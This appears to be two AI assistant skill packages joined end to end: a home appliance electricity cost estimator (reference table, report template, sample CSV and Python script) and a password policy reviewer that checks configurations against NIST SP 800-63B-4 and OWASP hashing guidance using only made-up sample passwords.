| Space heater (fan / oil-filled) | 1000-2000 | 2-6 h in winter, 50-80% duty | 0 | Use months_per_year |
| Portable air conditioner | 800-1500 | 4-8 h in summer | 1-2 | |
| Dehumidifier | 200-500 | 6-12 h | 1 | |
| Electric water heater (tank) | 2000-3000 | 2-4 h | - | Often the hidden big load |
| Electric shower | 7000-10000 | 10-20 min | 0 | |
| EV charger (home, 7 kW) | 7000-7400 | per km driven: ~0.15-0.2 kWh/km | 2-5 | Use kWh/year = km/year x 0.17 |
| Pool pump | 750-1500 | 6-10 h in season | 0 | Variable-speed pumps save about half |
| Aquarium (heater + filter + light) | 50-200 | 24 h at 30-60% | - | |
Sources for ranges: manufacturer data sheets and energy labels, plus common national energy agency appliance calculators. Check the user's model when a value drives a decision.
FILE:templates/energy-report.md
# Home electricity report: <household name or address>
**Tariff:** <EUR 0.32/kWh, off-peak 0.21 (23:00-07:00), standing charge 0.40/day> **Bill check:** <estimate 373 kWh/month vs bill 330 (-13%)>
**Summary:** <one sentence: e.g. "Lighting and laundry are 40% of the bill; LED spots and 30 C washes save about EUR 200 a year for EUR 40.">
## Where the money goes
| Appliance | kWh/year | Cost/year | Share | Assumption |
|---|---|---|---|---|
| <Halogen spotlights x6> | <548> | <175.20> | <12%> | <50 W, 5 h/day> |
| <...> | | | | |
Total: <4479 kWh/year, EUR 1420.54 energy + EUR 146 standing charge>
## Standby (always paid, nothing gained)
<319 kWh/year, about EUR 102. Biggest: game console 15 W, TV 12 W.>
## Action plan
### Free habits
| Action | Saving/year |
|---|---|
| <Wash at 30 C, full loads> | <EUR 48> |
| <Run laundry and dishwasher off-peak> | <EUR 70-110> |
### Cheap fixes
| Action | Cost | Saving/year | Payback |
|---|---|---|---|
| <6 LED spots> | <EUR 30> | <EUR 149> | <2-3 months> |
| <Smart plug for TV + console> | <EUR 15> | <EUR 68> | <3 months> |
### Bigger purchases (only when replacing anyway)
| Action | Cost | Saving/year | Payback |
|---|---|---|---|
| <Heat-pump dryer> | <EUR 600> | <EUR 63> | <~10 years> |
## Next steps
- <Measure the space heater and fridge with a plug-in meter for one week>
- <Re-run the estimate after the LED swap and compare the next two bills>
Numbers are estimates from rated watts and typical use; savings overlap and are not additive.
FILE:examples/apartment-appliances.csv
appliance,watts,hours_per_day,days_per_week,quantity,duty_cycle_pct,standby_watts,kwh_per_year,offpeak_pct,months_per_year
Fridge-freezer (2011),,,7,1,,,320,,
Chest freezer,90,24,7,1,45,,,,
Washing machine,2000,1.5,4,1,60,1.5,,,
Tumble dryer,2500,1,3,1,,0.5,,,
Dishwasher,1800,1.5,5,1,55,1,,30,
Electric oven,2400,1,4,1,60,3,,,
Kettle,2200,0.25,7,1,,,,,
Microwave,1100,0.2,7,1,,3,,,
Halogen spotlight,50,5,7,6,,,,,
LED bulb,9,5,7,8,,,,,
TV (55 inch),110,4,7,1,,12,,,
Game console,160,1.5,5,1,,15,,,
Desktop computer,180,6,5,1,,4,,,
Wi-Fi router,10,24,7,1,,,,,
Space heater (bedroom),1500,3,7,1,70,,,,5
FILE:scripts/energy_cost.py
#!/usr/bin/env python3
"""Home appliance energy cost estimator (Python 3 standard library only).
Reads a CSV of appliances and works out daily, monthly and yearly kWh and cost, standby
("vampire") loads, each appliance's share, and savings ideas with estimated yearly savings.
CSV columns (header required; comma or semicolon; only the first three are required):
appliance name, e.g. "Fridge-freezer" (keywords drive the savings ideas)
watts power while running (nameplate or plug-in meter), per unit
hours_per_day hours running on a day it is used
days_per_week days used per week (default 7)
quantity number of identical units (default 1), e.g. 8 bulbs
duty_cycle_pct share of running time the motor/heater is really on (default 100;
fridges ~35-50, thermostatic heaters ~50-70)
standby_watts power when off but plugged in, per unit (default 0)
kwh_per_year energy-label figure per unit; replaces watts x hours when given
offpeak_pct share of running energy already used in off-peak hours (default 0)
months_per_year months in use, for seasonal loads like heaters or air conditioning (default 12)
Formulas:
running kWh/day = watts x quantity x hours x duty% / 1000 x days_per_week / 7 x months / 12
(or kwh_per_year x quantity / 365), averaged over the whole year
standby kWh/day = standby_watts x quantity x (24 - hours x days_per_week / 7) / 1000
month = year / 12, year = day x 365; cost = kWh x rate (off-peak share x --offpeak-rate);
standby is charged at the standard rate; the standing charge is listed separately.
Findings (severity):
HIGH STANDBY_SHARE standby is >= 10% of all estimated kWh
HIGH BILL_GAP estimate differs from --bill-kwh (monthly) by more than 25%
MEDIUM BIG_CONSUMER one appliance uses >= 25% of all kWh
MEDIUM STANDBY_DEVICE a unit draws >= 5 W on standby
LOW CHECK_DUTY_CYCLE fridge/freezer/heater running 24 h at 100% duty (likely overestimated)
LOW HIGH_WATTS > 3500 W for an appliance that is not a known heavy load
Usage:
python3 energy_cost.py appliances.csv --rate 0.32 --currency EUR
python3 energy_cost.py appliances.csv --rate 0.32 --offpeak-rate 0.21 --standing-charge 0.40 --bill-kwh 260 --json
python3 energy_cost.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import csv
import io
import json
import sys
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
HEAVY = ("heater", "oven", "stove", "hob", "cooktop", "dryer", "kettle", " ev ", "charger", "boiler",
"water heater", "sauna", "heat pump", "air conditioner", " ac ", "furnace", "pool")
SHIFTABLE = ("wash", "dishwasher", "dryer", " ev ", "ev charger", "pool", "water heater", "boiler")
# keyword -> (idea, share of that appliance's running cost saved)
IDEAS = [
(("bulb", "lamp", "light"), "replace with LED (about 85% less power for the same light)", 0.85, "watts>=25"),
(("dryer",), "line-dry half the loads or switch to a heat-pump dryer (about 50%)", 0.5, None),
(("water heater", "boiler"), "set to 55-60 C with a timer and insulate the tank (about 10%)", 0.10, None),
(("space heater", "heater", "radiator"), "heat only the room in use and lower the thermostat 1 C (about 10%); a heat pump uses 2-4x less", 0.10, None),
(("fridge", "freezer"), "set 4 C / -18 C, clean coils, check door seals (about 10%); a 15-year-old unit may use twice a new A-class one", 0.10, None),
(("dishwasher",), "use the eco program and skip pre-rinsing with hot water (about 20%)", 0.20, None),
(("washing machine", "washer"), "wash at 30 C instead of 40-60 C and run full loads (about 40%)", 0.40, None),
(("kettle",), "boil only the water you need (about 25%)", 0.25, None),
(("oven",), "use a microwave or air fryer for small meals (about 30%)", 0.30, None),
(("pool",), "run the pump fewer hours or fit a variable-speed pump (about 50%)", 0.50, None),
(("air conditioner", " ac ", "aircon"), "set 1-2 C warmer and clean filters (about 10%)", 0.10, None),
(("dehumidifier",), "use a humidistat at 50-55% instead of running continuously (about 30%)", 0.30, None),
(("desktop", "gaming pc", "computer"), "enable sleep after 15 minutes idle (about 20%)", 0.20, None),
]
class DataError(ValueError):
pass
def num(row, key, default, line):
v = (row.get(key) or "").strip().replace(",", ".") if isinstance(row.get(key), str) else row.get(key)
if v in (None, ""):
if default is None:
raise DataError(f"line {line}: '{key}' is required")
return float(default)
try:
x = float(v)
except ValueError:
raise DataError(f"line {line}: '{key}' must be a number, got '{v}'")
if x < 0:
raise DataError(f"line {line}: '{key}' cannot be negative")
return x
def read_csv(text):
first = text.splitlines()[0] if text.strip() else ""
delim = ";" if first.count(";") > first.count(",") else ","
rd = csv.DictReader(io.StringIO(text), delimiter=delim)
if not rd.fieldnames or not {"appliance", "watts", "hours_per_day"} <= {f.strip().lower() for f in rd.fieldnames}:
if not rd.fieldnames or "kwh_per_year" not in [f.strip().lower() for f in rd.fieldnames]:
raise DataError("CSV needs columns appliance, watts, hours_per_day (or kwh_per_year)")
items = []
for line, raw in enumerate(rd, 2):
row = {(k or "").strip().lower(): v for k, v in raw.items()}
name = (row.get("appliance") or "").strip()
if not name:
continue
label = (row.get("kwh_per_year") or "").strip()
it = {"appliance": name,
"watts": num(row, "watts", 0 if label else None, line),
"hours": num(row, "hours_per_day", 24 if label else None, line),
"days": num(row, "days_per_week", 7, line),
"qty": num(row, "quantity", 1, line),
"duty": num(row, "duty_cycle_pct", 100, line),
"standby_w": num(row, "standby_watts", 0, line),
"label_kwh": num(row, "kwh_per_year", 0, line) if label else None,
"offpeak": num(row, "offpeak_pct", 0, line) / 100,
"months": num(row, "months_per_year", 12, line)}
if it["hours"] > 24:
raise DataError(f"line {line}: hours_per_day {it['hours']:g} > 24")
if it["days"] > 7 or it["duty"] > 100 or it["offpeak"] > 1 or it["months"] > 12:
raise DataError(f"line {line}: days_per_week <= 7, months_per_year <= 12, duty_cycle_pct and offpeak_pct <= 100")
items.append(it)
if not items:
raise DataError("no appliances in the CSV")
return items
def has(name, words):
low = " " + name.lower() + " "
return any(w in low for w in words)
def estimate(items, rate, offpeak_rate=None, standing=0.0, bill_kwh=None):
off = rate if offpeak_rate is None else offpeak_rate
rows, findings, ideas = [], [], []
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
for it in items:
avg_hours = it["hours"] * it["days"] / 7
if it["label_kwh"] is not None:
run_day = it["label_kwh"] * it["qty"] / 365
else:
run_day = it["watts"] * it["qty"] * avg_hours * it["duty"] / 100 / 1000 * it["months"] / 12
sb_day = it["standby_w"] * it["qty"] * (24 - avg_hours) / 1000
run_cost_y = run_day * 365 * ((1 - it["offpeak"]) * rate + it["offpeak"] * off)
sb_cost_y = sb_day * 365 * rate
rows.append({"appliance": it["appliance"], "qty": it["qty"], "kwh_day": run_day + sb_day,
"kwh_month": (run_day + sb_day) * 365 / 12, "kwh_year": (run_day + sb_day) * 365,
"standby_kwh_year": sb_day * 365, "cost_month": (run_cost_y + sb_cost_y) / 12,
"cost_year": run_cost_y + sb_cost_y, "standby_cost_year": sb_cost_y,
"run_kwh_year": run_day * 365, "run_cost_year": run_cost_y})
name = it["appliance"]
if it["standby_w"] >= 5:
add("MEDIUM", "STANDBY_DEVICE", f"{name}: {it['standby_w']:g} W standby per unit = {sb_day * 365:.0f} kWh/year; a switched power strip or unplugging saves {sb_cost_y:.2f}/year")
if has(name, ("fridge", "freezer", "heater")) and it["label_kwh"] is None and it["hours"] >= 24 and it["duty"] >= 100:
add("LOW", "CHECK_DUTY_CYCLE", f"{name}: 24 h at 100% duty; compressors and thermostats cycle, so set duty_cycle_pct (fridge ~40) or use the energy-label kWh/year")
if it["watts"] > 3500 and not has(name, HEAVY):
add("LOW", "HIGH_WATTS", f"{name}: {it['watts']:g} W is unusually high; check the nameplate (W, not mAh or VA)")
for words, text, share, cond in IDEAS:
if has(name, words) and (cond is None or it["watts"] >= 25):
ideas.append({"appliance": name, "idea": text, "saving_year": run_cost_y * share,
"kwh_year": run_day * 365 * share})
break
if sb_cost_y > 0 and it["standby_w"] >= 1:
ideas.append({"appliance": name, "idea": "cut standby with a switched strip or smart plug", "saving_year": sb_cost_y,
"kwh_year": sb_day * 365})
if offpeak_rate is not None and offpeak_rate < rate and has(name, SHIFTABLE) and it["offpeak"] < 1:
kwh = run_day * 365 * (1 - it["offpeak"])
ideas.append({"appliance": name, "idea": "run in off-peak hours (timer or delay start)",
"saving_year": kwh * (rate - offpeak_rate), "kwh_year": 0.0})
tot_kwh = sum(r["kwh_year"] for r in rows)
tot_sb = sum(r["standby_kwh_year"] for r in rows)
for r in rows:
r["share"] = r["kwh_year"] / tot_kwh if tot_kwh else 0
if r["share"] >= 0.25:
add("MEDIUM", "BIG_CONSUMER", f"{r['appliance']} is {r['share']:.0%} of the estimated use ({r['kwh_year']:.0f} kWh/year); check it first")
if tot_kwh and tot_sb / tot_kwh >= 0.10:
add("HIGH", "STANDBY_SHARE", f"standby is {tot_sb / tot_kwh:.0%} of all use ({tot_sb:.0f} kWh/year, {tot_sb * rate:.2f}/year) - the cheapest saving to get")
if bill_kwh:
est_m = tot_kwh / 12
gap = (bill_kwh - est_m) / bill_kwh
if abs(gap) > 0.25:
add("HIGH", "BILL_GAP", f"estimate {est_m:.0f} kWh/month vs bill {bill_kwh:g} kWh/month ({gap:+.0%}); "
+ ("missing appliances (water heating, electric heating, EV?) or hours too low" if gap > 0 else "hours or watts are too high, or some appliances are not used every day"))
rows.sort(key=lambda r: -r["kwh_year"])
ideas.sort(key=lambda x: -x["saving_year"])
findings.sort(key=lambda f: SEV_ORDER[f["severity"]])
totals = {"kwh_day": tot_kwh / 365, "kwh_month": tot_kwh / 12, "kwh_year": tot_kwh,
"standby_kwh_year": tot_sb, "energy_cost_year": sum(r["cost_year"] for r in rows),
"standing_charge_year": standing * 365}
totals["energy_cost_month"] = totals["energy_cost_year"] / 12
totals["total_cost_year"] = totals["energy_cost_year"] + totals["standing_charge_year"]
totals["total_cost_month"] = totals["total_cost_year"] / 12
totals["savings_year"] = sum(i["saving_year"] for i in ideas)
return rows, totals, findings, ideas
def render(rows, totals, findings, ideas, rate, cur, offpeak_rate, standing, top):
c = (cur + " ") if cur else ""
out = ["# Home appliance energy cost estimate", "",
f"Tariff: {c}{rate:g}/kWh" + (f", off-peak {c}{offpeak_rate:g}/kWh" if offpeak_rate is not None else "")
+ (f", standing charge {c}{standing:g}/day" if standing else ""), "",
f"Total: {totals['kwh_day']:.1f} kWh/day, {totals['kwh_month']:.0f} kWh/month, {totals['kwh_year']:,.0f} kWh/year; "
f"energy {c}{totals['energy_cost_month']:,.2f}/month, {c}{totals['energy_cost_year']:,.2f}/year"
+ (f"; with standing charge {c}{totals['total_cost_year']:,.2f}/year" if standing else ""),
f"Standby: {totals['standby_kwh_year']:.0f} kWh/year ({totals['standby_kwh_year'] / totals['kwh_year']:.0%})" if totals["kwh_year"] else "", "",
"| Appliance | Qty | kWh/day | kWh/month | kWh/year | Standby kWh/yr | Cost/month | Cost/year | Share |",
"|---|---|---|---|---|---|---|---|---|"]
for r in rows:
out.append(f"| {r['appliance']} | {r['qty']:g} | {r['kwh_day']:.2f} | {r['kwh_month']:.1f} | {r['kwh_year']:.0f} | "
f"{r['standby_kwh_year']:.0f} | {r['cost_month']:.2f} | {r['cost_year']:.2f} | {r['share']:.0%} |")
out += ["", "## Findings"] + ([f"- {f['severity']} {f['code']}: {f['message']}" for f in findings] or ["- none"])
out += ["", f"## Savings ideas (top {min(top, len(ideas))}, estimated)"]
for i in ideas[:top]:
out.append(f"- {i['appliance']}: {i['idea']} -> about {c}{i['saving_year']:.2f}/year" + (f", {i['kwh_year']:.0f} kWh" if i["kwh_year"] else ""))
if len(ideas) > top:
out.append(f"- ... {len(ideas) - top} more with --top {len(ideas)}")
out += ["", "Estimates from rated watts and typical use; a plug-in energy meter or the smart meter gives real numbers. Savings overlap, so do not add them all up."]
return "\n".join(out)
def self_test():
results = []
def check(name, cond):
results.append(cond)
print(("PASS " if cond else "FAIL ") + name)
def run(csv_text, **kw):
return estimate(read_csv(csv_text), kw.pop("rate", 0.30), **kw)
rows, t, f, i = run("appliance,watts,hours_per_day\nKettle,2000,0.5\n")
check("1 kWh/day kettle", abs(rows[0]["kwh_day"] - 1.0) < 1e-9)
check("365 kWh/year", abs(t["kwh_year"] - 365) < 1e-9)
check("cost per year at 0.30", abs(t["energy_cost_year"] - 109.5) < 1e-6)
check("month = year/12", abs(t["kwh_month"] - 365 / 12) < 1e-9)
rows, t, f, i = run("appliance,watts,hours_per_day,days_per_week,quantity\nWashing machine,1000,2,3.5,1\nLED bulb,9,5,7,6\n")
w = [r for r in rows if r["appliance"] == "Washing machine"][0]
check("days_per_week scales", abs(w["kwh_day"] - 1.0) < 1e-9)
b = [r for r in rows if r["appliance"] == "LED bulb"][0]
check("quantity scales", abs(b["kwh_day"] - 0.27) < 1e-9)
check("LED idea skipped under 25 W", not any("LED" in x["idea"] for x in i))
rows, t, f, i = run("appliance,watts,hours_per_day,duty_cycle_pct\nFridge,150,24,40\n")
check("duty cycle", abs(rows[0]["kwh_day"] - 1.44) < 1e-9)
rows, t, f, i = run("appliance,watts,hours_per_day,standby_watts\nTV,100,4,10\n")
check("standby hours = 24 - use", abs(rows[0]["standby_kwh_year"] - 10 * 20 / 1000 * 365) < 1e-9)
codes = [x["code"] for x in f]
check("STANDBY_DEVICE", "STANDBY_DEVICE" in codes)
check("STANDBY_SHARE HIGH", "STANDBY_SHARE" in codes)
rows, t, f, i = run("appliance,watts,hours_per_day,kwh_per_year,quantity\nFreezer,,,250,2\n")
check("energy label kWh used", abs(t["kwh_year"] - 500) < 1e-9)
rows, t, f, i = run("appliance,watts,hours_per_day,offpeak_pct\nDishwasher,1200,1,50\n", offpeak_rate=0.15)
check("off-peak share priced", abs(rows[0]["cost_year"] - 1.2 * 365 * (0.5 * 0.30 + 0.5 * 0.15)) < 1e-6)
check("shift idea for rest", any("off-peak" in x["idea"] for x in i))
rows, t, f, i = run("appliance,watts,hours_per_day,months_per_year\nSpace heater,1000,4,6\n")
check("months_per_year seasonal", abs(t["kwh_year"] - 4 * 365 / 2) < 1e-9)
rows, t, f, i = run("appliance,watts,hours_per_day,days_per_week\nDishwasher,1000,1,7\n")
check("dishwasher gets eco idea, not washer idea", "eco" in i[0]["idea"])
rows, t, f, i = run("appliance,watts,hours_per_day\nHeater,2000,6\nTV,80,3\n")
check("BIG_CONSUMER", any(x["code"] == "BIG_CONSUMER" for x in f))
rows, t, f, i = run("appliance,watts,hours_per_day\nKettle,2000,0.5\n", bill_kwh=60)
check("BILL_GAP HIGH", any(x["code"] == "BILL_GAP" for x in f))
rows, t, f, i = run("appliance,watts,hours_per_day\nKettle,2000,0.5\n", bill_kwh=32)
check("no BILL_GAP within 25%", not any(x["code"] == "BILL_GAP" for x in f))
rows, t, f, i = run("appliance,watts,hours_per_day\nFridge,150,24\n")
check("CHECK_DUTY_CYCLE LOW", any(x["code"] == "CHECK_DUTY_CYCLE" for x in f))
rows, t, f, i = run("appliance,watts,hours_per_day\nAquarium pump,5000,1\n")
check("HIGH_WATTS LOW", any(x["code"] == "HIGH_WATTS" for x in f))
rows, t, f, i = run("appliance,watts,hours_per_day,standby_watts\nTelevision,90,4,0.5\nWater heater,2000,3,0\n", offpeak_rate=0.15)
check("keywords: TV not shiftable, water heater gets tank idea", not any(x["appliance"] == "Television" and "off-peak" in x["idea"] for x in i)
and any(x["appliance"] == "Water heater" and "tank" in x["idea"] for x in i))
rows, t, f, i = run("appliance;watts;hours_per_day\nHalogen lamp;60,0;4\n")
check("semicolon + decimal comma", abs(rows[0]["kwh_day"] - 0.24) < 1e-9 and any("LED" in x["idea"] for x in i))
rows, t, f, i = run("appliance,watts,hours_per_day\nTumble dryer,2500,1\n", standing=0.5)
check("standing charge separate", abs(t["standing_charge_year"] - 182.5) < 1e-9 and abs(t["total_cost_year"] - t["energy_cost_year"] - 182.5) < 1e-9)
check("dryer idea 50%", abs(i[0]["saving_year"] - 2.5 * 365 * 0.30 * 0.5) < 1e-6)
for bad, name in (("appliance,watts,hours_per_day\nX,100,25\n", "hours > 24 rejected"),
("appliance,watts,hours_per_day\nX,abc,2\n", "non-number rejected"),
("name,power\nX,100\n", "missing columns rejected"),
("appliance,watts,hours_per_day\nX,-5,2\n", "negative rejected")):
try:
read_csv(bad)
check(name, False)
except DataError:
check(name, True)
print(f"{sum(results)}/{len(results)} passed")
return 0 if all(results) else 1
def main():
ap = argparse.ArgumentParser(description="Home appliance energy cost estimator")
ap.add_argument("csv", nargs="?", help="appliances CSV")
ap.add_argument("--rate", type=float, help="price per kWh (standard rate)")
ap.add_argument("--offpeak-rate", type=float, help="price per kWh in off-peak hours")
ap.add_argument("--standing-charge", type=float, default=0.0, help="fixed charge per day")
ap.add_argument("--currency", default="", help="label, e.g. EUR, USD, TRY")
ap.add_argument("--bill-kwh", type=float, help="actual monthly kWh from a bill, to compare")
ap.add_argument("--top", type=int, default=8, help="savings ideas to show (default 8)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.csv or a.rate is None:
ap.error("give a CSV and --rate, or --self-test")
try:
with open(a.csv, encoding="utf-8-sig") as fh:
items = read_csv(fh.read())
rows, totals, findings, ideas = estimate(items, a.rate, a.offpeak_rate, a.standing_charge, a.bill_kwh)
except (OSError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
if a.json:
print(json.dumps({"appliances": rows, "totals": totals, "findings": findings, "ideas": ideas}, indent=2))
else:
print(render(rows, totals, findings, ideas, a.rate, a.currency, a.offpeak_rate, a.standing_charge, a.top))
return 1 if any(f["severity"] == "HIGH" for f in findings) else 0
if __name__ == "__main__":
sys.exit(main())Reviews a password policy config against NIST SP 800-63B-4, covering length minimums, no composition rules or forced expiry, blocklist checks, rate limiting, paste and Unicode support, no hints or security questions, and safe hashing parameters. Estimates the entropy of made-up sample passwords and shows which weak ones the current policy still accepts. Never asks for real passwords. Includes a stdlib Python checker with --self-test.
---
name: password-policy-and-entropy-checker
description: Reviews a password policy config against NIST SP 800-63B-4, covering length minimums, no composition rules or forced expiry, blocklist checks, rate limiting, paste and Unicode support, no hints or security questions, and safe hashing parameters. Estimates the entropy of made-up sample passwords and shows which weak ones the current policy still accepts. Never asks for real passwords. Includes a stdlib Python checker with --self-test.
---
# Password Policy and Entropy Checker
You help developers, IT admins and security reviewers bring a password policy in line with current NIST guidance (SP 800-63B-4, 2025) and explain why the old rules (8 characters, upper+lower+digit+symbol, change every 90 days) produce weak, predictable passwords. You show it with numbers: entropy estimates for made-up sample passwords and a list of weak samples the current policy lets through.
## Files in this skill
- `scripts/pw_policy.py` - checks a policy JSON against NIST SP 800-63B-4 and OWASP hashing minimums and estimates entropy for synthetic samples, masked in the output by default (Python 3 standard library only; no network, nothing stored)
- `references/nist-800-63b-rules.md` - the password requirements (SHALL / SHOULD) with what each means in practice
- `references/entropy-and-hashing.md` - how the two entropy estimates work, their limits, guess-rate assumptions and hashing parameters
- `templates/policy-recommendation.md` - the recommendation you hand back: current vs recommended setting, rationale, rollout plan
- `examples/legacy-portal-policy.json` and `examples/synthetic-samples.txt` - a legacy customer-portal policy and 8 made-up sample passwords
## Workflow
### 1. Collect the policy, never real passwords
Ask for the policy settings (from the identity provider, Active Directory fine-grained policy, framework config such as Django `AUTH_PASSWORD_VALIDATORS`, or the written policy) and convert them to the JSON keys in the script docstring. Ask whether passwords are the only factor or are always combined with MFA (`single_factor`). If the user wants to test strength, ask them to invent samples that look like what users pick. If someone pastes what looks like a real password, do not repeat it, tell them to change it and continue with made-up samples.
### 2. Run the checker
```
python3 scripts/pw_policy.py examples/legacy-portal-policy.json --samples examples/synthetic-samples.txt --context northwind
python3 scripts/pw_policy.py policy.json --samples synthetic.txt --blocklist top-10k.txt --json
python3 scripts/pw_policy.py --self-test
```
`--context` adds the service name, brand and similar words to the blocklist check. Exit code 1 means HIGH findings, 2 means bad input.
### 3. Explain the findings
Start with what changes for users: longer minimum (15 alone, 8 with MFA), no character-class rules, no forced expiry, blocklist rejection with a clear reason. Then the back end: rate limiting, hashing algorithm and parameters, hints and security questions removed. Use the samples table to show that `Password1!`-style passwords pass composition rules while a four-word passphrase is rejected by them. Use `references/nist-800-63b-rules.md` for the exact requirement and `references/entropy-and-hashing.md` when the user asks "how strong is strong enough".
### 4. Deliver
Fill `templates/policy-recommendation.md` with each setting (current, recommended, NIST reference), the hashing migration (rehash on next login) and a rollout plan: new rules apply at the next password change, expiry removed at once, breached-password check at login where possible.
## Example result
For the legacy portal policy with the 8 synthetic samples and `--context northwind`: 11 HIGH, 5 MEDIUM, 2 LOW. HIGH: minimum 8 (needs 15 without MFA), composition rules, 90-day expiry, no blocklist, hints, security questions, and 5 weak samples the policy accepts (Password1!, Summer2025!, Northwind#1, Qwerty123$, P@ssw0rd2026, each ~15-20 bits). MEDIUM: PBKDF2 at 10000 iterations, max length 20, spaces and paste blocked, no strength guidance. The 4-word passphrase (~54 bits) and the 5-word one (~67 bits) are rejected by the current rules but fine under NIST.
## Rules
- Never ask for, store or repeat real passwords, hashes or password files. Work only with made-up samples.
- Entropy numbers are estimates for comparison, not guarantees; say so.
- Quote NIST SHALL vs SHOULD correctly; do not present OWASP hashing numbers as NIST requirements.
- Phishing-resistant MFA or passkeys beat any password rule; recommend them where the risk justifies it.
- Do not recommend weakening a control (e.g. rate limiting) to improve usability without a replacement.
FILE:references/nist-800-63b-rules.md
# NIST SP 800-63B-4 Password Rules (final, 2025)
Section 3.1.1.2 "Password Verifiers" applies to centrally verified passwords (a login form checked by the server). Local unlock PINs are "activation secrets" with different rules (Sec. 3.2.10). SHALL = required, SHOULD = recommended.
| # | Requirement | Level | Script code | In practice |
|---|---|---|---|---|
| 1 | Minimum 15 characters when the password is the only factor; minimum 8 if only used with MFA | SHALL | MIN_LENGTH | Set 15 for password-only logins; 8 is acceptable only if MFA is always enforced |
| 2 | Allow a maximum of at least 64 characters | SHOULD | MAX_LENGTH | Passphrases and password-manager output need room; storage size is fixed by the hash anyway |
| 3 | Accept all printing ASCII characters and space | SHOULD | NO_SPACES | Do not reject `"`, `'`, `<`, spaces; escape correctly instead |
| 4 | Accept Unicode; count each code point as one character | SHOULD | NO_UNICODE | Apply NFC normalization before hashing (NO_NORMALIZATION) |
| 5 | No other composition rules (character-class mixes) | SHALL NOT | COMPOSITION_RULES | Remove "1 upper, 1 digit, 1 symbol" |
| 6 | No periodic forced changes; force a change on evidence of compromise | SHALL NOT | PERIODIC_EXPIRY | Remove 90-day expiry; reset on breach evidence |
| 7 | No hints accessible to unauthenticated users | SHALL NOT | HINTS | Delete stored hints |
| 8 | No knowledge-based authentication / security questions | SHALL NOT | SECURITY_QUESTIONS | Use recovery codes or a verified channel |
| 9 | Verify the entire password, no truncation, no "enter characters 3, 5 and 8" | SHALL | TRUNCATION | Watch out for bcrypt's 72-byte limit (BCRYPT_72_BYTES) |
| - | Compare the full password with a blocklist of common, expected and compromised values; give the reason when rejecting | SHALL | NO_BLOCKLIST, BLOCKLIST_THIN | Breached corpora (e.g. a k-anonymity range API or a downloaded list), dictionary words, service name, username |
| - | Offer guidance to help users choose a strong password, especially after a rejection | SHALL | NO_GUIDANCE | Strength meter and plain-language rejection reasons |
| - | Rate-limit failed attempts: no more than 100 consecutive failures per account (Sec. 3.2.2) | SHALL | NO_RATE_LIMIT | Growing delays, CAPTCHA, risk checks; hard lockouts after 3 tries invite denial of service (LOCKOUT_STRICT) |
| - | Allow password managers and autofill; permit paste | see Sec. 3.1.1.2 | PASTE_BLOCKED | Never block paste on password fields |
| - | Store passwords salted and hashed with a suitable password hashing scheme (Sec. 3.1.1.2, last part) | SHALL | WEAK_STORAGE | Argon2id, scrypt, bcrypt or PBKDF2 with a unique salt; parameters as high as practical |
## Blocklist sizing
NIST notes the blocklist mainly stops online guessing, which is already throttled, so it should cover the passwords an attacker would try before the limit (thousands to a few hundred thousand entries); very large lists mostly frustrate users. Check the whole password, not substrings, but include obvious derivatives of the service name and username.
## Why composition rules and expiry go
Users meet "upper + digit + symbol" with `Password1!`; forced changes produce `Password2!`, `Password3!`. Attack tools model these patterns, so the rules add friction without adding real entropy. Length plus a blocklist does more.
## Sources
- NIST SP 800-63B-4, Digital Identity Guidelines: Authentication and Authenticator Management (July 2025), https://pages.nist.gov/800-63-4/sp800-63b.html
- Appendix A "Strength of Passwords" in the same document
FILE:references/entropy-and-hashing.md
# Entropy Estimates and Password Hashing
## Two estimates
**Charset entropy** = length x log2(pool), pool = 26 lower + 26 upper + 10 digits + 33 symbols (+100 if non-ASCII), counting only the classes used. It is correct for passwords generated at random from that pool and badly overstates human choices: `Password1!` scores 65.7 bits.
**Pattern entropy** (script) approximates how a cracking tool guesses: it walks the password left to right and charges
| Piece | Cost |
|---|---|
| common word from the built-in list (incl. leet like `P@ssw0rd`, context words) | log2(list size) ~ 7.6 bits, +1 if capitalized, +2 if leet |
| year 1950-2039 | log2(90) ~ 6.5 bits |
| keyboard or alphabet run (`qwerty`, `1234`, `zyx`) | log2(26) + log2(length) |
| repeated character (`aaaa`) | one character + log2(count) |
| digits/symbol appended at the end after a word | -1.5 bits (the most common pattern) |
| any other character | log2(pool) |
| passphrase of 3+ words | 12.9 bits per uncommon word (Diceware list of 7776), 1 bit per common word |
The passphrase figure is an upper bound: it holds only if words were picked at random (dice or a generator). "my dog loves pizza" is far weaker. The built-in word list is small; a real cracker uses billions of breached passwords, so treat every estimate as optimistic for human-chosen input.
## Rating scale (pattern bits)
| Bits | Rating | Meaning |
|---|---|---|
| < 28 | very weak | Falls to online guessing or instantly offline |
| 28-35 | weak | Online throttling helps; offline it is minutes |
| 36-59 | fair | OK against online attacks with rate limiting; weak if a fast hash leaks |
| 60-79 | strong | Resists offline attacks on slow hashes |
| >= 80 | very strong | Resists offline attacks on fast hashes |
## Guess rates used for times
- Offline, fast hash (MD5/SHA-x on GPUs): 1e10 guesses per second.
- Offline, slow hash (Argon2id/bcrypt at recommended cost): about 1e4 guesses per second per attacker rig.
- Online with NIST throttling (<= 100 failures per account, then delays): only the first few hundred to thousands of guesses matter, which is why the blocklist is the key online control.
Time shown = median case, 2^(bits-1) / rate.
## Hashing parameters (OWASP Password Storage Cheat Sheet minimums)
| Algorithm | Minimum | Notes |
|---|---|---|
| Argon2id | m = 19456 KiB (19 MiB), t = 2, p = 1 | First choice |
| scrypt | N = 2^17, r = 8, p = 1 | |
| bcrypt | cost 10 | Input limited to 72 bytes; pre-hash with HMAC-SHA256 + base64 or cap the length |
| PBKDF2-HMAC-SHA256 | 600000 iterations | Use where FIPS-140 validated crypto is required |
Every hash needs a unique random salt (>= 16 bytes). An optional pepper (secret key kept outside the database) adds defense in depth. NIST requires salting and a suitable one-way password hashing function; OWASP numbers are a widely used baseline, not a NIST rule.
## Migrating weak hashes
1. Add the new algorithm next to the old one.
2. On successful login, verify with the old hash, then rehash with the new one.
3. For accounts that never log in, wrap the old hash (Argon2id(old_hash)) and mark them, or force a reset after a deadline.
4. Re-check breached-password status at login if your provider supports it.
FILE:templates/policy-recommendation.md
# Password policy recommendation: <system name>
